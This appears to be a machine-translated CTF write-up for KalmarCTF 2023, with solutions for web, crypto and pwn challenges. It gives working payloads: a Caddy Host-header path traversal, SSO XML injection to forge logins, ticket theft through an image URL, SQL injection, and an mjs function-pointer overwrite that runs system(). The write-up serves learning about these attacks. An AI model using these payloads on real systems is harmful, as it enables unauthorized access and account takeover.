KalmarCTF 2023 WriteUps
This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .
Participated in this competition with TSJ
, the difficulty was very high so we only solved a few relatively simple problems.
Web
Ez ⛳
This problem uses Caddy 2.4.5, and has the following Caddyfile:
{
admin off
local_certs # Let's not spam Let's Encrypt
}
caddy.chal-kalmarc.tf {
redir https://www.caddy.chal-kalmarc.tf
}
#php.caddy.chal-kalmarc.tf {
# php_fastcgi localhost:9000
#}
flag.caddy.chal-kalmarc.tf {
respond 418
}
*.caddy.chal-kalmarc.tf {
encode zstd gzip
log {
output stderr
level DEBUG
}
# block accidental exposure of flags:
respond /flag.txt 403
tls /etc/ssl/certs/caddy.pem /etc/ssl/private/caddy.key {
on_demand
}
file_server {
root /srv/{host}/
}
}
When the server starts, it does the following:
mkdir -p backups/ && cp -r *.caddy.chal-kalmarc.tf backups/ && rm php.caddy.chal-kalmarc.tf/flag.txt && sleep 1 && caddy run
So flag.txt
is no longer in php.caddy.chal-kalmarc.tf
, we need to find a way to read backups/php.caddy.chal-kalmarc.tf/flag.txt
.
The particularly suspicious part is root /srv/{host}/
, where the {host}
placeholder represents the HTTP Host
header, so we can put something there to do path traversal. One thing to note is that it cannot contain .
inside, otherwise *.caddy.chal-kalmarc.tf
won't match, so I set Host: backups/php.caddy.chal-kalmarc.tf
.
Next, it will block /flag.txt
, but this part can be bypassed directly using //flag.txt
.
curl -k 'https://www.caddy.chal-kalmarc.tf//flag.txt' -H 'Host: backups/php.caddy.chal-kalmarc.tf'
# kalmar{th1s-w4s-2x0d4ys-wh3n-C4ddy==2.4}
2Cool4School
This problem is a sourceless web, completely a guessing game.
In short, there is a http://grade.chal-kalmarc.tf/
which is a grading website, and when logging in, it uses the SSO service http://sso.chal-kalmarc.tf/
to achieve this. The goal is to find a way to log in and then change your grade to A to get the flag.
The SSO login process is to first click login on the grade site, then it will redirect to http://sso.chal-kalmarc.tf/login?service=http://grade.chal-kalmarc.tf/login
asking you to enter your credentials (if already logged in, you don't need to), but since there are no credentials yet, nothing can be done.
I directly used dirsearch to scan SSO and found that it has /swagger
which led me to find the method, but later I found out that the SSO homepage html comment already had hints... Anyway, there is a /register
API inside that can generate a new student account, which can be used to log in.
When logging in successfully, SSO will redirect you to http://grade.chal-kalmarc.tf/login?ticket=TGT-...
, and then the backend of the grade site will request the SSO's /validate?ticket=TGT-...&service=http://grade.chal-kalmarc.tf/login
(I guess), and the response will look like this:
<?xml version="1.0"?>
<response>
<authenticationSuccess>
<id>SOME UUID</id>
<username>studentXXXX</username>
</authenticationSuccess>
</response>
So from here, you can get the username and user id, thus successfully logging in.
After logging in, there will be a screen asking you to set a username and upload a profile picture, and after success, it will go to http://grade.chal-kalmarc.tf/grades
showing your grades, with a Request Re-evaluation button that POST /whine
, but the reply is always Nah, no mistakes were made. Git good.
.
At first, I had no ideas, only discovered that when uploading a profile picture, it first converts the image to base64, then puts it in json and POSTs it. Later, Leko found that whine actually makes the backend's headless chromium browse your grades page, which can be discovered by setting the image src to your own server. So if the src is http://sso.chal-kalmarc.tf/login?service=MY_SERVER
, you can get the ticket, then post /validate
to get the teacher's username and user id.
Next, it was found that SSO /validate
has xml injection in the service
parameter, testing it found that even XSS can be achieved (but not needed):
http://sso.chal-kalmarc.tf/validate?ticket=TGT-29c3ba1f6839ec563a23404b3f67ec205d52423f368c8e01efb75033f12a1514&service=%3Cscript%20xmlns=%22http://www.w3.org/1999/xhtml%22%3Ealert(1)%3C/script%3E
And the response will be
<?xml version="1.0"?>
<response>
<authenticationFailure>Ticket TGT-29c3ba1f6839ec563a23404b3f67ec205d52423f368c8e01efb75033f12a1514 is invalid for service <script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script></authenticationFailure>
</response>
Additionally, Allen found that http://grade.chal-kalmarc.tf/login?ticket=TGT-...
's ticket
can also inject some things, because the backend seems to handle this part with string concatenation, and service
is conveniently at the back, so you can put TGT-...&service=XML_INJECTION_PAYLOAD#
as the ticket, then you can control the response received by the grade site, thus logging into any account.
http://grade.chal-kalmarc.tf/login?ticket=TGT-29c3ba1f6839ec563a23404b3f67ec205d52423f368c8e01efb75033f12a1514%3Cdiv%3Ehello%3C/div%3E%3C/authenticationFailure%3E%3CauthenticationSuccess%3E%3Cid%3Edcfb2fd7-312e-48cf-81c0-ae7eb31ef864%3C/id%3E%3Cusername%3Eteacher31211%3C/username%3E%3C/authenticationSuccess%3E%3CauthenticationFailure%3E
The response looks like this:
<?xml version="1.0"?>
<response>
<authenticationFailure>Ticket TGT-29c3ba1f6839ec563a23404b3f67ec205d52423f368c8e01efb75033f12a1514 is invalid for service <div>hello</div></authenticationFailure><authenticationSuccess><id>dcfb2fd7-312e-48cf-81c0-ae7eb31ef864</id><username>teacher31211</username></authenticationSuccess><authenticationFailure></authenticationFailure>
</response>
Next, combining the previous img src trick, you can log into the teacher's account. Slightly reversing the React SPA reveals that http://grade.chal-kalmarc.tf/grades/$STUDENT_ID
has a management interface to edit things, but it only allows you to edit comments. Even directly calling the API will find that it doesn't let you edit grades.
However, testing it found that sending {"name":"Fundamentals of Cyber Security","values":{}}
results in an SQL error, indicating a possible SQL injection point, so using {"`grade`": "A"}
as values
successfully bypasses the check to change the grade!
kalmar{w00000w_n0_m0re_sch00l_d9a821a}
Problem source code: 2Cool4School
Crypto
BabyOneTimePad
#!/usr/bin/env python3
import os
PASS_LENGTH_BYTES = 128
def encrypt_otp(cleartext, key = os.urandom(PASS_LENGTH_BYTES)):
ciphertext = bytes([key[i % len(key)] ^ x for i,x in enumerate(cleartext.hex().encode())])
return ciphertext, key
if __name__ == '__main__':
print('According to Wikipedia:')
print('"In cryptography, the one-time pad (OTP) is an encryption technique that cannot be cracked, but requires the use of a single-use pre-shared key that is not smaller than the message being sent."')
print('So have fun trying to figure out my password!')
password = os.urandom(PASS_LENGTH_BYTES)
enc, _ = encrypt_otp(password)
print(f'Here is my password encrypted with a one-time pad: {enc.hex()}')
print('Actually, I will give you my password encrypted another time.')
print('This time you are allowed to permute the password first')
permutation = input('Permutation: ')
try:
permutation = [int(x) for x in permutation.strip().split(',')]
assert set(permutation) == set(range(PASS_LENGTH_BYTES))
enc, _ = encrypt_otp(bytes([password[permutation[i]] for i in range(PASS_LENGTH_BYTES)]))
print(f'Here is the permuted password encrypted with another one-time pad: {enc.hex()}')
except:
print('Something went wrong!')
exit(1)
password_guess = input('What is my password: ')
try:
password_guess = bytes.fromhex(password_guess)
except:
print('Something went wrong!')
exit(1)
if password_guess == password:
with open('flag.txt', 'r') as f:
flag = f.read()
print(f'The flag is {flag}')
else:
print('Nope.')
In short, it generates an , then gives you and , where is a permutation you can decide.
I directly used z3 to solve it.
from pwn import process, remote
import random
from z3 import *
def encrypt_otp_z3(pt_hex, key):
ciphertext = [key[i % len(key)] ^ x for i, x in enumerate(pt_hex)]
return ciphertext, key
def solve(ct1, ct2):
sol = Solver()
pt_hex_sym = [BitVec(f"pt_hex_{i}", 8) for i in range(PASS_LENGTH_BYTES * 2)]
for x in pt_hex_sym:
sol.add(Or([x == t for t in b"0123456789abcdef"]))
pt_sym = [(x, y) for x, y in zip(pt_hex_sym[::2], pt_hex_sym[1::2])]
pt2_sym = [pt_sym[perm[i]] for i in range(PASS_LENGTH_BYTES)]
pt2_hex_sym = sum([list(x) for x in pt2_sym], [])
key_sym = [BitVec(f"key_{i}", 8) for i in range(PASS_LENGTH_BYTES)]
enc_sym, _ = encrypt_otp_z3(pt_hex_sym, key_sym)
for x, y in zip(ct1, enc_sym):
sol.add(x == y)
enc2_sym, _ = encrypt_otp_z3(pt2_hex_sym, key_sym)
for x, y in zip(ct2, enc2_sym):
sol.add(x == y)
assert sol.check() == sat
m = sol.model()
pt_hex = [m[x].as_long() for x in pt_hex_sym]
pwd = bytes.fromhex("".join([f"{x:02x}" for x in pt_hex])).decode()
return pwd
PASS_LENGTH_BYTES = 128
perm = list(range(PASS_LENGTH_BYTES))
random.shuffle(perm)
PASS_LENGTH_BYTES = 128
# io = process(["python", "challenge_file.py"])
io = remote("3.120.132.103", 13337)
io.recvuntil(b"pad: ")
ct1 = bytes.fromhex(io.recvlineS().strip()) # xor(pwd.hex(), key)
io.sendlineafter(b"Permutation: ", ",".join(map(str, perm)).encode())
io.recvuntil(b"pad: ")
ct2 = bytes.fromhex(io.recvlineS().strip()) # xor(perm(pwd).hex(), key)
print(ct1.hex())
print(ct2.hex())
pwd = solve(ct1, ct2)
print(pwd)
io.sendlineafter(b"password: ", pwd.encode())
io.interactive()
# kalmar{why_do_default_args_work_like_that_0.0}
EasyOneTimePad
Almost the same as the previous problem, but this time there are two keys, so it's and , where is a permutation you can decide.
I randomly generated a permutation and hoped the resulting equations would have a unique solution, then used z3 to solve it.
from pwn import process, remote
import random
from z3 import *
def encrypt_otp_z3(pt_hex, key):
ciphertext = [key[i % len(key)] ^ x for i, x in enumerate(pt_hex)]
return ciphertext, key
def solve(ct1, ct2):
sol = Solver()
pt_hex_sym = [BitVec(f"pt_hex_{i}", 8) for i in range(PASS_LENGTH_BYTES * 2)]
for x in pt_hex_sym:
sol.add(Or([x == t for t in b"0123456789abcdef"]))
pt_sym = [(x, y) for x, y in zip(pt_hex_sym[::2], pt_hex_sym[1::2])]
pt2_sym = [pt_sym[perm[i]] for i in range(PASS_LENGTH_BYTES)]
pt2_hex_sym = sum([list(x) for x in pt2_sym], [])
key_sym = [BitVec(f"key_{i}", 8) for i in range(PASS_LENGTH_BYTES)]
key2_sym = [BitVec(f"key2_{i}", 8) for i in range(PASS_LENGTH_BYTES)]
enc_sym, _ = encrypt_otp_z3(pt_hex_sym, key_sym)
for x, y in zip(ct1, enc_sym):
sol.add(x == y)
enc2_sym, _ = encrypt_otp_z3(pt2_hex_sym, key2_sym)
for x, y in zip(ct2, enc2_sym):
sol.add(x == y)
assert sol.check() == sat
m = sol.model()
pt_hex = [m[x].as_long() for x in pt_hex_sym]
pwd = bytes.fromhex("".join([f"{x:02x}" for x in pt_hex])).decode()
return pwd
PASS_LENGTH_BYTES = 128
perm = list(range(PASS_LENGTH_BYTES))
random.shuffle(perm)
PASS_LENGTH_BYTES = 128
# io = process(["python", "challenge.py"])
io = remote("3.120.132.103", 13338)
io.recvuntil(b"pad: ")
ct1 = bytes.fromhex(io.recvlineS().strip()) # xor(pwd.hex(), key)
io.sendlineafter(b"Permutation: ", ",".join(map(str, perm)).encode())
io.recvuntil(b"pad: ")
ct2 = bytes.fromhex(io.recvlineS().strip()) # xor(perm(pwd).hex(), key)
print(ct1.hex())
print(ct2.hex())
pwd = solve(ct1, ct2)
print(pwd)
io.sendlineafter(b"password: ", pwd.encode())
io.interactive()
# retry until you get the flag
# kalmar{guess_i_should_have_read_the_whole_article}
Reconstruction
import random
rng = random.SystemRandom()
num_parties = 1000
threshold = int(0.1111 * num_parties)
num_compromised = int(0.37 * num_parties)
prime = (2**384).next_prime()
F = GF(prime)
class Party:
def __init__(self, share):
self.share = share
self.compromised = False
def compromise(self):
self.compromised = True
def get_share(self):
if self.compromised:
return self.share
else:
return F(rng.randrange(F.order()))
def share(secret):
R.<x> = F['x']
poly = secret * x**threshold
for i in range(threshold):
poly += x**i * F(rng.randrange(F.order()))
return [Party(poly(F(j))) for j in range(num_parties)]
def main():
with open('flag.txt', 'r') as f:
flag = f.read().strip()
assert(len(flag) < prime.nbits()*8)
# Share the secret.
secret = F(int.from_bytes(flag.encode(), 'little'))
parties = share(secret)
# Oops, the adversary has compromised some of the parties!
for i in rng.sample(range(num_parties), num_compromised):
parties[i].compromise()
# The adversary is requesting the shares! All is lost!
for s in parties:
print(s.get_share())
if __name__ == "__main__":
main()
This problem has an SSS with a degree of 111, so 112 shares are needed to recover it. It gives you 1000 shares, but only 370 of them are correct.
This reminded me of the Polynomial Reconstruction problem. After some research, I found that it is essentially what Reed-Solomon Code does, so this problem is actually an RS decoding problem, so I tried using some built-in sage algorithms. This can be listed as follows:
[x for x in dir(codes.decoders) if x.startswith('GRS')]
# ['GRSBerlekampWelchDecoder',
# 'GRSErrorErasureDecoder',
# 'GRSGaoDecoder',
# 'GRSGuruswamiSudanDecoder',
# 'GRSKeyEquationSyndromeDecoder']
However, testing found that GRSBerlekampWelchDecoder
and GRSGaoDecoder
can only decode under normal conditions, i.e., , which this problem does not meet, so they can't be used. The other GRSErrorErasureDecoder
and GRSKeyEquationSyndromeDecoder
also seem unusable, so I finally tried GRSGuruswamiSudanDecoder
and found that it requires a tau
parameter representing the number of errors. Setting it to and running it for about 10 minutes, it succeeded...
from Crypto.Util.number import long_to_bytes
num_parties = 1000
threshold = int(0.1111 * num_parties)
num_compromised = int(0.37 * num_parties)
prime = (2**384).next_prime()
F = GF(prime)
with open("output.txt") as f:
vals = [int(l.strip()) for l in f]
n, k = 1000, 112
C = codes.GeneralizedReedSolomonCode([F(i) for i in range(n)], k)
D = codes.decoders.GRSGuruswamiSudanDecoder(C, num_parties - num_compromised)
print("Start decode to code")
c = D.decode_to_code(vector(F, vals))
print("Start decode to message")
msg = C.decode_to_message(c[0])
print("Done", msg[-1])
# 4489067692978501633227145646993390603391687375740992390950503291222699941250770320347716168654384649757035
print(long_to_bytes(int(msg[-1]))[::-1])
# kalmar{1_Sh0ulD-H4Ve-53T-A_hIgh3R-tHresHolD}
It seems the problem author didn't notice that sage has a built-in Guruswami-Sudan list decoding algorithm, so the expected solution was to implement it yourself.
Pwn
mjs
This problem is basically to pwn https://github.com/cesanta/mjs
, but since it has some dangerous APIs like ffi
, ffi_cb_free
, mkstr
, s20
by default, the problem author applied a patch to remove those functions from global.
I directly searched GitHub issues and found this, the key part is:
--print;
print(1);
It has a chance to crash.
Testing with gdb found that the SIGSEGV address is related to the value you operate on with print
, so you can calculate the offset (&mjs_ffi_call-&mjs_print
) and then modify the value of print
to call ffi
, and get a shell to finish.
print+=0x6ab0;print("void system(char*)")("id")
// 0x6ab0=&mjs_ffi_call-&mjs_print
// kalmar{mjs_brok3ey_565591da7d942fef817c}
This works because the built-in functions are also pointers, and for convenience with C operations, it allows some pointer arithmetic, and without checks in this regard, you can directly modify the function pointers of built-in functions to do many things XD.